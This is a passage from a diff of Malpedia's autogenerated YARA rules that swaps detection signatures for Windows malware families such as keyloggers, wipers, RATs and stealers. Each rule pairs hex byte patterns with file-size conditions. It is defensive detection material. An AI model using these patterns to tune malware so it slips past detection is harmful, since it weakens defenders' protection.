$sequence_0 = { 8965f0 33db 895dfc 33c0 } + $sequence_1 = { 5e c3 55 8bec 837d0800 7d0a } + $sequence_2 = { 8bc1 8945f0 834dfcff e8???????? } + $sequence_3 = { e8???????? 83c010 8906 c3 56 8bf1 57 } + $sequence_4 = { 5f 5e 8901 5b 5d c20800 680e000780 } + $sequence_5 = { 7417 6a0a 6a1f 68???????? } + $sequence_6 = { e8???????? cc 8b06 83e810 8b08 395008 } + $sequence_7 = { e8???????? 8b06 5d c20400 55 8bec 8b4508 } + $sequence_8 = { 8bc7 c1e810 83e03f e8???????? } + $sequence_9 = { 2bc6 8b35???????? 53 8bf8 57 } + $sequence_10 = { 8bec 8b4508 53 56 57 8d7001 33db } + $sequence_11 = { 56 8d4806 57 e8???????? 83c414 8bf0 } + $sequence_12 = { 83c604 8345f804 8b45f8 5f c60600 5e } + $sequence_13 = { 7706 8a4405bc c9 c3 } + $sequence_14 = { eb1f 68???????? e8???????? a3???????? } + $sequence_15 = { 8b8a8c2f0000 33c8 e8???????? b8???????? e9???????? } + $sequence_16 = { b8???????? e9???????? 8b542408 8d420c 8b8aecfdffff 33c8 e8???????? } + $sequence_17 = { e9???????? c705????????ac824100 c3 b9???????? e9???????? } + $sequence_18 = { e9???????? 8d45d0 e9???????? 8d4dd0 } + $sequence_19 = { e9???????? 8b4508 e9???????? 8b45ec 83e001 0f840c000000 8365ecfe } + $sequence_20 = { e9???????? 8d4dd0 e9???????? 8d4de0 e9???????? 8d4db8 e9???????? } + $sequence_21 = { e9???????? 8d4ddc e9???????? 8b45d4 83e001 } + $sequence_22 = { 8365d4fe 8d4da4 e9???????? c3 8d4dbc e9???????? } condition: - 7 of them and filesize < 372736 + 7 of them and filesize < 1449984 } -rule MALPEDIA_Win_Unidentified_096_Auto : FILE +rule MALPEDIA_Win_Mistcloak_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "14dc2ed1-3b02-5d6b-954c-e104f03f276c" + id = "bcb29aaa-c37e-5c55-be1e-5d06aa41cabd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_096_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mistcloak_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "ce476a34a11ac04b46490ceeeb6d4b2e968299e307b980b5713cec9af31b5ce1" + logic_hash = "6962ced189f702e03fc18d236cee46a2a0844476537e8c819ea6f1c43f9c0922" score = 75 quality = 75 tags = "FILE" @@ -139411,32 +139142,32 @@ rule MALPEDIA_Win_Unidentified_096_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a2???????? 81e1ffff0000 5f 83c1f8 5e } - $sequence_1 = { 52 e8???????? 83c418 c3 8b0d???????? 51 68???????? } - $sequence_2 = { 55 6800000080 55 6800000080 } - $sequence_3 = { 68ff000000 52 ff15???????? 5f 5e 33c0 } - $sequence_4 = { 85c0 7505 5e 83c40c c3 6a0c } - $sequence_5 = { 83c03d eb3f 85ff 8ac1 7d04 } - $sequence_6 = { 85ff 7523 8b4c2420 8b54241c 8b442414 51 52 } - $sequence_7 = { b024 a2???????? eb3b b025 a2???????? } - $sequence_8 = { 7d04 0480 eb35 0470 eb31 } - $sequence_9 = { 8b400c 89410c e8???????? 83c410 56 e8???????? } + $sequence_0 = { 8b049590500110 f644082801 740b 56 e8???????? 59 8bf0 } + $sequence_1 = { 660f282d???????? 660f59f5 660f28aa70100110 660f54e5 660f58fe 660f58fc } + $sequence_2 = { 8b0c8590500110 8b45f8 807c012800 7d46 } + $sequence_3 = { 0f85b1000000 8b4508 dd00 ebc2 c745e418120110 eb19 } + $sequence_4 = { 6bc618 57 8db8104e0110 57 } + $sequence_5 = { 7429 83e805 7415 83e801 0f8595010000 c745e408120110 } + $sequence_6 = { c745e408120110 e9???????? c745e404120110 e9???????? 894de0 c745e404120110 e9???????? } + $sequence_7 = { 85f6 7420 6bc618 57 8db8104e0110 57 } + $sequence_8 = { 8bc1 3914c5781a0110 7408 40 } + $sequence_9 = { 8b45b4 8b0c8590500110 8a043b 03ce 8b75dc 03cb 43 } condition: - 7 of them and filesize < 25648 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Neddnloader_Auto : FILE +rule MALPEDIA_Win_Remcom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "852b40fe-2e5d-50aa-b642-537ac76dade8" + id = "01102b96-17a1-5040-b86b-1c004c22e442" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neddnloader_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remcom_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "f033318b8bebdad1df405535c03ee01ef3d70d6b1b4f8bc82d01aaedd0dfc4d8" + logic_hash = "6c8707261db4e6b23e09ce2152b2182b004699b6aaba00688b2722f030d121d2" score = 75 quality = 75 tags = "FILE" @@ -139450,38 +139181,32 @@ rule MALPEDIA_Win_Neddnloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 ff15???????? 8b4df8 56 3bc8 } - $sequence_1 = { 8d43ff 3bc8 7311 0fb702 0fb731 663bc6 } - $sequence_2 = { 8b03 8b5508 69c0b179379e c1e813 33c9 } - $sequence_3 = { 0fb731 663bc6 7506 83c102 83c202 } - $sequence_4 = { 83c204 3bcf 72f0 8d43ff 3bc8 7311 } - $sequence_5 = { eb02 0008 8b45f8 83c0f4 } - $sequence_6 = { 57 e8???????? 2b5d10 83c40c } - $sequence_7 = { 8d84241c040000 50 68???????? b900230400 } - $sequence_8 = { 4133bc8e803c0100 4133bc8680480100 418bc0 41337d20 c1e808 0fb6d0 418bc1 } - $sequence_9 = { 488d0587930000 483bc8 7405 e8???????? bf0d000000 } - $sequence_10 = { 4533948480590100 458b848c804d0100 410fb6c1 4533848480510100 45335538 410fb6c3 4533848480550100 } - $sequence_11 = { 440fb68c29804c0100 c1e810 0fb6c8 41c1e108 0fb68429804c0100 4433c8 } - $sequence_12 = { 410fb6c2 41339c8480440100 45337508 410fb6c3 41339c8480400100 } - $sequence_13 = { 4433c0 400fb6c7 420fb68420803b0100 41c1e008 } - $sequence_14 = { 4883ec28 4c8bc1 4c8d0df20effff 498bc9 e8???????? } - $sequence_15 = { 0f94c0 8944244c 488d05caef0000 4a8b14e0 41837c175000 } + $sequence_0 = { 6a02 68???????? ffd7 8d4df4 51 6aff 6a00 } + $sequence_1 = { 033485e0fc4000 c745e401000000 33db 395e08 7536 6a0a e8???????? } + $sequence_2 = { e8???????? 8be5 5d c3 53 56 8d95f8feffff } + $sequence_3 = { 56 8b7508 57 8b7d0c 6a44 } + $sequence_4 = { ff15???????? 6a00 6a00 6a01 8d4de0 } + $sequence_5 = { 33c0 57 8945f8 8945fc 6a01 8d45e0 } + $sequence_6 = { 8b7508 57 8b7d0c 6a44 8d85a0feffff } + $sequence_7 = { 8bf8 3bfb 746a 56 68ff010f00 68???????? } + $sequence_8 = { ffd7 8945f0 eb51 33db 391e 763d } + $sequence_9 = { 50 6814120000 8d8de8edffff 51 56 } condition: - 7 of them and filesize < 3438592 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Plaintee_Auto : FILE +rule MALPEDIA_Win_Gtpdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c56b0cbf-9d5e-5f6b-9ab4-e8b2c0f5e971" + id = "d10f6aa2-6be7-55e5-960c-d33fee6e5026" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plaintee_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gtpdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gtpdoor_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "ab35f3cc5b4d32bf6576e8cbf7b0de583ee4e81c86ef4d1d809f91568ce439ac" + logic_hash = "a4a736e9e4f2e881c8a24f738313b79d8075e540890609147499da030ceac3c8" score = 75 quality = 75 tags = "FILE" @@ -139495,71 +139220,71 @@ rule MALPEDIA_Win_Plaintee_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c408 ff15???????? 99 b932000000 8b742410 f7f9 8b4c240c } - $sequence_1 = { ffd0 8b4c2400 33c0 83f905 0f94c0 } - $sequence_2 = { 7e0f 53 8a1c31 32da } - $sequence_3 = { e8???????? 8bf0 eb02 33f6 8bce e8???????? 8a8669010000 } - $sequence_4 = { 51 6a00 52 56 50 ff15???????? 83f85a } - $sequence_5 = { 8b8d4c010000 83c25a 51 50 } - $sequence_6 = { b932000000 8b742410 f7f9 8b4c240c } - $sequence_7 = { 6802020000 ff15???????? 85c0 740a b001 } - $sequence_8 = { 56 8b74240c 50 8b44240c } - $sequence_9 = { 51 8b4c241c 51 ff15???????? } + $sequence_0 = { 0fb600 31d0 8801 8045fb01 8345fc01 } + $sequence_1 = { 0fb600 31d0 8801 8045fb01 } + $sequence_2 = { fc b932000000 b800000000 f3aa } + $sequence_3 = { 31d0 8801 8045fb01 8345fc01 } + $sequence_4 = { 4989c0 be04000000 e8???????? 0fb785acf9ffff 83c020 } + $sequence_5 = { 8b45cc 66895002 c7042400000000 e8???????? } + $sequence_6 = { 48833d????????00 4889e5 7416 b800000000 4885c0 740c bf???????? } + $sequence_7 = { 83e801 03450c 66c7000a20 c6400200 8b450c } + $sequence_8 = { 4929c4 49c1fc03 4d85e4 741e 31ed } + $sequence_9 = { c9 c3 55 89e5 83ec18 8b450c 8b5514 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 4210688 } -rule MALPEDIA_Win_Darkpink_Auto : FILE +rule MALPEDIA_Win_Bruh_Wiper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b675ae58-304b-51cc-82c9-2d05a952daf3" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkpink_auto.yar#L1-L116" + id = "7c9ba4ef-4fa1-51f0-9221-ba77db229e60" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bruh_wiper_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "ae61fd7de2751bb38bc52ea4bef7ef6d5cc9562894ba78123146d52f1f8217ba" + logic_hash = "cbaff4d5b7b91bf6e756e6a62487e97a100f6bd9c2c8d699efaa34252266d183" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8579010000 8b35???????? 68a6000000 68???????? 6a01 50 } - $sequence_1 = { ffd3 85c0 7530 6a32 } - $sequence_2 = { c1f806 6bc938 8b0485f09d4100 0fb6440828 83e040 5d } - $sequence_3 = { c745e4a8604100 eb07 c745e494604100 8b4508 } - $sequence_4 = { 8b04bdf09d4100 ff743018 ff15???????? 85c0 7404 } - $sequence_5 = { 56 57 e8???????? 57 68???????? 53 } - $sequence_6 = { 85f6 7420 6bc618 57 8db8f09b4100 } - $sequence_7 = { 83e03f c1f906 6bd038 8b45fc 03148df09d4100 } - $sequence_8 = { 83e73f c1f906 6bd738 8b0c8df09d4100 c644112800 } - $sequence_9 = { 8bcf 83e03f c1f906 6bd038 8b45fc 03148df09d4100 } + $sequence_0 = { 6a03 6800000040 68???????? ff15???????? 8b1d???????? 8bf8 6a00 } + $sequence_1 = { e8???????? 83c40c be01080000 0f1f8000000000 6a00 8d85f8fdffff } + $sequence_2 = { ffd3 83ee01 75e3 8b4dfc 5f 5e } + $sequence_3 = { ffd7 8d45f0 50 6a06 6a00 6a00 6a00 } + $sequence_4 = { 66a1???????? 668945f4 a0???????? 56 8845f6 8d45f4 57 } + $sequence_5 = { 57 ffd3 83ee01 75e3 8b4dfc 5f } + $sequence_6 = { 50 6a00 6a01 6a13 ffd7 8d45f0 } + $sequence_7 = { 57 ffd3 6800020000 8d85fcfdffff 6a00 50 e8???????? } + $sequence_8 = { 83ec10 a1???????? 33c5 8945fc 66a1???????? 668945f4 } + $sequence_9 = { 57 ffd3 83ee01 75e3 } condition: - 7 of them and filesize < 237568 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Sienna_Purple_Auto : FILE +rule MALPEDIA_Win_Ddkeylogger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5c3c6fac-b35f-5f08-8ac2-d022904e5031" + id = "a67b64ba-3a24-5b03-97bb-6fa1fd617831" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sienna_purple_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ddkeylogger_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "8adbc4e03be709562af32b6e6ccf0666aff8c85f72382f2d72c386abf2d917ba" + logic_hash = "35bb77ee32a1ee4cf41a3e8133dabb1263e352712bd1dfe36cdbb7e1ce08650b" score = 75 quality = 75 tags = "FILE" @@ -139573,32 +139298,32 @@ rule MALPEDIA_Win_Sienna_Purple_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? c645fc05 e9???????? 83ff11 0f85b6000000 6a74 8d8560ffffff } - $sequence_1 = { 8955f8 894514 3b45dc 0f8c41ffffff 5f 5e 5b } - $sequence_2 = { 8d86d4000000 50 8d86fc000000 50 8d45dc 50 e8???????? } - $sequence_3 = { 8d4ddc e9???????? 8d4dc8 e9???????? 8d8d28ffffff e9???????? 8d8d14ffffff } - $sequence_4 = { 99 0bfe f7fb c1e708 0fb60c0a 8d4201 99 } - $sequence_5 = { e8???????? 8bf0 83c410 85f6 0f858b050000 c785b8ebffffe05e4300 eb24 } - $sequence_6 = { 8d8d98fdffff f7d8 1bc0 05b1040000 50 e8???????? 8d45d4 } - $sequence_7 = { e8???????? 83c40c 85c0 0f85fa000000 50 8d45c8 50 } - $sequence_8 = { e8???????? e9???????? 0f57c0 c745e800000000 8d4dd0 660fd645e0 f30f7f45d0 } - $sequence_9 = { e8???????? 8b8d74feffff 8d855cffffff 53 50 e8???????? 8d85dcfeffff } + $sequence_0 = { 88140e 0fb611 feca 88140f 83c102 48 } + $sequence_1 = { c1eb06 03de 0fb61493 885102 } + $sequence_2 = { 0fb7f1 57 bfffff0000 c745f400000000 } + $sequence_3 = { 83c418 8d8de7faffff c745fcffffffff e8???????? 85f6 0f8f14feffff 8b85e0faffff } + $sequence_4 = { 8bce eb99 53 8b1d???????? 6a00 ffd3 } + $sequence_5 = { 83c8ff e9???????? 8bc6 c1f805 8bfe 53 8d1c8580ee4500 } + $sequence_6 = { 83f801 8bc7 7508 8a4c0bff 884c3bff c6043b00 5f } + $sequence_7 = { c1fa05 8b149580ee4500 c1e006 8d440224 } + $sequence_8 = { 7448 f7c200f00000 7420 f7c200c00000 740c f7c200800000 0f95c0 } + $sequence_9 = { 56 ff15???????? 56 8bf8 ff15???????? 3b3d???????? } condition: - 7 of them and filesize < 2930688 + 7 of them and filesize < 808960 } -rule MALPEDIA_Win_Mars_Stealer_Auto : FILE +rule MALPEDIA_Win_Karagany_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5d89ff0c-708d-5cb2-bdc2-6969544672dc" + id = "3572ccbc-1c3c-5c06-9653-09cc26e9f425" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mars_stealer_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karagany_auto.yar#L1-L111" license_url = "N/A" - logic_hash = "cc94c9b32aabf5299f34d05641ffdf1640d29fa168f4cb92b657b3f5122a585c" + logic_hash = "7b1e13963414e6b2e1af9eb1a6f96423af34e9bc7a849bda8fce35a0e1356973" score = 75 quality = 75 tags = "FILE" @@ -139612,32 +139337,32 @@ rule MALPEDIA_Win_Mars_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c404 8945fc 837dfc00 744c 6a00 } - $sequence_1 = { e8???????? 83c404 85c0 7443 833d????????00 751e } - $sequence_2 = { 0f90c1 f7d9 0bc8 51 ff15???????? 83c404 8945f4 } - $sequence_3 = { 8985fcfdffff c745fcc0270900 6a04 8d45fc 50 6a02 } - $sequence_4 = { 51 e8???????? c78548fcffff94000000 8d9548fcffff } - $sequence_5 = { 8bec 81ecc8040000 56 57 c78548fcffff00000000 6890000000 6a00 } - $sequence_6 = { 8d85e8d7ffff 50 e8???????? 6888130000 8d8d78ecffff } - $sequence_7 = { 8b55f0 52 ff15???????? 83c404 8b45e8 } - $sequence_8 = { 8d8d78ecffff 51 e8???????? 8d95e4d7ffff 52 8d85e0d7ffff 50 } - $sequence_9 = { 50 ff15???????? 83c404 8985dcf7ffff 8b85dcf7ffff } + $sequence_0 = { 8945d0 8945d8 8945e0 8945e8 8945ec 8945f4 } + $sequence_1 = { 8bf8 6a03 57 ffd6 } + $sequence_2 = { 57 8bf8 6a03 57 } + $sequence_3 = { 8945d8 8945e0 8945e8 8945ec 8945f4 } + $sequence_4 = { 6a40 6800300000 6800000300 6a00 } + $sequence_5 = { 8b4508 0526f8ffff 69c06c010000 034510 } + $sequence_6 = { 8bec 81ec60060000 53 56 57 33c0 } + $sequence_7 = { ff15???????? 6a00 53 68???????? } + $sequence_8 = { 68???????? 8d85a4fdffff 50 ffd6 68???????? } + $sequence_9 = { 8bd8 2bc7 40 50 57 } condition: - 7 of them and filesize < 219136 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_No_Justice_Auto : FILE +rule MALPEDIA_Win_Anchormtea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5b7b9773-a26f-59ba-b88a-0b2ca96e9a3c" + id = "32582435-d23f-5bf2-99b8-f6c7ec2febef" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.no_justice" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.no_justice_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormtea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anchormtea_auto.yar#L1-L158" license_url = "N/A" - logic_hash = "8d1e9903aebd9a1a139d570c6e8c7d10c9b765f1e0f83bd5a67cde88d712e8e8" + logic_hash = "0d56b6ebc1869a5136446b1b05f633dc23ded4ac41169656ca6cd600d19c6d7b" score = 75 quality = 75 tags = "FILE" @@ -139651,32 +139376,37 @@ rule MALPEDIA_Win_No_Justice_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7720 0fb680ac5c4000 ff2485985c4000 33c0 40 5d } - $sequence_1 = { 8a0a 884c382e 8b45bc 8b048570be4100 804c382d04 } - $sequence_2 = { 0f84e8000000 8b04952c6b4100 898588f8ffff 85c0 0f84ad000000 3bc3 0f84cb000000 } - $sequence_3 = { e8???????? c9 c3 c705????????08b14100 b001 } - $sequence_4 = { c1e002 50 8b85a8f8ffff 0fb70485946a4100 8d048590614100 50 8d8590faffff } - $sequence_5 = { 8b148d70be4100 0355b0 8a0c03 03d3 43 } - $sequence_6 = { c745e003000000 c745e4508e4100 e9???????? 83e80f } - $sequence_7 = { 57 e8???????? 59 59 e9???????? 8b049570be4100 f644082840 } - $sequence_8 = { f7d0 a801 74a5 8b55ec 33f6 8b049570be4100 } - $sequence_9 = { 0f8414020000 eb4f 0fb602 0fbe8860b74100 41 894db4 3bcf } + $sequence_0 = { e9???????? f7d8 1bc0 83e002 } + $sequence_1 = { 4883f81f 0f87fd170000 488bce e8???????? 4c8d8b44010000 4c8d05255f0200 } + $sequence_2 = { 898d68f7ffff 89b564f7ffff 3bd0 7741 } + $sequence_3 = { 8bc2 c1e81f 03c2 8945fc b8619e426b f7e9 } + $sequence_4 = { 4533c0 48c7c100000080 897c2420 ff15???????? 85c0 7563 } + $sequence_5 = { 89442450 8b45dc 89542448 418bd2 } + $sequence_6 = { 8bd9 4c8d0d69cc0000 b904000000 4c8d0555cc0000 488d15c6af0000 e8???????? } + $sequence_7 = { 6800010000 ff761c e8???????? ff75e0 668b45cc 6824080000 } + $sequence_8 = { 4585ff 0f84d3000000 33ff 4d63e7 } + $sequence_9 = { 83c414 c744241000000000 57 ff15???????? } + $sequence_10 = { ff15???????? 488bf8 4885c0 7410 33d2 } + $sequence_11 = { 55 8bec 81ec8c030000 a1???????? 33c5 8945fc ff05???????? } + $sequence_12 = { c7471c40300010 894714 c7472060300010 c7472480300010 c7472890300010 c7472cb0300010 } + $sequence_13 = { 51 e8???????? 83c408 8bb70c010000 89b568f7ffff 85f6 0f846c010000 } + $sequence_14 = { 4c897e10 4903c5 488bcb 4c8d3c12 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 839680 } -rule MALPEDIA_Win_Nimbo_C2_Auto : FILE +rule MALPEDIA_Win_Innaput_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2024fcd8-73ff-5d21-84a0-faeb93ed391a" + id = "d86d59ae-6efa-5db2-8e1b-5b4757eca710" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimbo_c2_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.innaput_rat_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "6b113df7136733641a874652387013b524eae7ec4a37b82db2a8e2b046f0820e" + logic_hash = "9400019d5ff97dc8155c2ec12b684baeeb0d9d8ecccb4529f4b2a8b8f06ad889" score = 75 quality = 75 tags = "FILE" @@ -139690,32 +139420,32 @@ rule MALPEDIA_Win_Nimbo_C2_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7411 488b09 ba02000000 e8???????? c6430800 4883c420 5b } - $sequence_1 = { 48c7c0fcffffff 4885d2 7407 488b02 4883e804 488d4c0210 ba04000000 } - $sequence_2 = { 498d8c24b0000000 4889c2 e8???????? 4c89e0 41c68424b800000001 4883c420 } - $sequence_3 = { 4819db 4889c1 488985c0feffff e8???????? 83e313 488d8df8feffff 4881c306000200 } - $sequence_4 = { e8???????? 90 4883c438 c3 488b05???????? 48ff20 488b05???????? } - $sequence_5 = { 7f1c 488b8df8fbffff e8???????? 4889f2 4989c7 4885c0 7432 } - $sequence_6 = { 6605bb01 488b4c2450 0fb7d0 41b901000000 41b806000000 e8???????? 4889d9 } - $sequence_7 = { 4889c6 4d85f6 740d 4889fa 4c89f1 e8???????? eb07 } - $sequence_8 = { 4889c2 eb28 4d8d46ff 4c89e1 e8???????? 4c89f9 4889c2 } - $sequence_9 = { 57 56 53 4883ec20 488bb42488000000 4c8b32 4889f5 } + $sequence_0 = { ffb720060000 8d8f1c060000 51 ffb718060000 } + $sequence_1 = { 85c0 7427 ffb720060000 8d8f1c060000 51 } + $sequence_2 = { 8bf8 33c0 893b ab } + $sequence_3 = { ff15???????? ffb718060000 ff15???????? 85c0 750c ffb71c060000 ff15???????? } + $sequence_4 = { ff15???????? 85c0 750c ffb71c060000 ff15???????? 57 e8???????? } + $sequence_5 = { 59 8bc6 3bf3 75ed } + $sequence_6 = { 751b 53 53 53 } + $sequence_7 = { ff15???????? 85c0 750c ffb71c060000 ff15???????? } + $sequence_8 = { 85c0 7413 3bc6 740f 8b4d08 e8???????? 3b450c } + $sequence_9 = { 2bf1 8a08 884c0616 40 84c9 75f5 } condition: - 7 of them and filesize < 1141760 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Badencript_Auto : FILE +rule MALPEDIA_Win_Victorygate_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ddb7f1a7-8259-5ec8-9b35-e98fb67b2310" + id = "ad2b94f4-4fb4-597c-a815-1680fdce8561" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badencript_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.victorygate_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "4aaa48768d97770f6e85ee594f356b88c6dabd160111a6a927596e69e9ca03f4" + logic_hash = "f881de762583581b8f9cd5a6d8f43db0e0fda7800670c3d8d7443132f914f29e" score = 75 quality = 75 tags = "FILE" @@ -139729,32 +139459,32 @@ rule MALPEDIA_Win_Badencript_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 23c1 eb55 8b1c9d68d14000 56 6800080000 } - $sequence_1 = { 8b0c8d48414100 c644112800 85f6 740c } - $sequence_2 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 } - $sequence_3 = { 57 8d1c85383d4100 33c0 f00fb10b 8b15???????? 83cfff } - $sequence_4 = { 7451 83e809 7443 83e801 0f8501010000 c745e0a40f4100 } - $sequence_5 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 f7c703000000 7413 } - $sequence_6 = { c1fa06 6bc830 8b049548414100 f644082801 7414 8d4508 8945fc } - $sequence_7 = { 6bc830 8b049548414100 f644082801 7421 57 e8???????? } - $sequence_8 = { 83e03f c1fa06 6bc830 8b049548414100 f644082801 7414 } - $sequence_9 = { 7313 8a8750304100 08441619 42 } + $sequence_0 = { e8???????? 8bd0 c645fc08 8d8d68ffffff e8???????? c645fc07 } + $sequence_1 = { ff75f8 8d8684010000 6a45 50 ff15???????? 85c0 } + $sequence_2 = { c645dc00 33d2 660fd645e4 8d4ddc e8???????? 68???????? 8d4dc4 } + $sequence_3 = { ff36 8bcf 50 e8???????? 8b4e08 83c334 83c634 } + $sequence_4 = { 8d4dc4 c645fc10 e8???????? 0fb64ddc 8bf8 8b45e4 8a17 } + $sequence_5 = { 56 682a2b0000 ffd0 85c0 7419 50 e8???????? } + $sequence_6 = { 50 ff7120 ff7128 e8???????? 83c410 85c0 7415 } + $sequence_7 = { 8b45f0 8d0c90 8b01 85c0 740d 395804 7408 } + $sequence_8 = { e8???????? 68???????? 8d4dc4 c645fc07 e8???????? 0fb64ddc 8bf8 } + $sequence_9 = { 668908 8bcf c7401000000000 c7401407000000 8d45b0 50 660fd645c0 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 1209344 } -rule MALPEDIA_Win_Webc2_Adspace_Auto : FILE +rule MALPEDIA_Win_Hermes_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "58de5ec4-0318-51d8-b594-608e74c6b19b" + id = "40977080-f0db-509f-ad36-9106e881ac17" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace" - source_url = 